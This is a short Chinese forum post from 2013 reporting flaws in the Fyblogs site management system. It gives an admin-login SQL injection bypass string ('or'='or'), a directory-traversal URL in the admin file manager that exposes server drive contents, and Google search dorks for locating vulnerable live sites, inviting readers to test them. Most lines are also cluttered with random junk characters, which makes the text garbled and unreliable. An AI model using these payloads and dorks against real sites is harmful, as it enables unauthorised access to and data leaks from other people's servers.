漏洞类型： 未授权访问/权限绕过
- C, X! \5 W5 {4 i8 K% {& A: i: T) @6 _3 Z+ _
简要描述：
9 A+ W4 s+ C7 `& T
4 E3 O2 _0 Z$ \; ?2 \" vFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
/ U% a* `# K* A4 |7 E2 R* ]
9 J6 M; [3 c6 Z2 @% q' `2 A0 X详细说明：
2 q3 y5 r7 q: {% c# J6 ?: B7 |# h7 q' S
后台万能密码 'or'='or') W$ m* _- ?4 [( J/ O
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！2 Y- l7 p! N8 B7 F7 T4 o: \/ Y* {
admin/uploadfile.asp?currentFolder=/upfiles/../5 s. T4 h/ K' l# o7 z8 b
6 u0 I' C0 j! }; r
漏洞证明：1 p& v- n+ r+ b8 T4 S+ g, Y. Y
! n" E( r+ z" h: f5 E谷歌：inurl:type.asp?id=1 新闻中心
9 s8 G( N! {% U( ]% V V或者 ：inurl:download_ok.asp?% r! b, z" y6 o8 X& T& y4 @
9 G9 o" O4 Y3 I& K k可以测试3 U3 m7 x3 w6 p* M9 l
& N; p0 \* I, S) E& ^
1 A: F; l% @5 r" M |
发表于 2013-3-7 13:07:46
收藏
支持
反对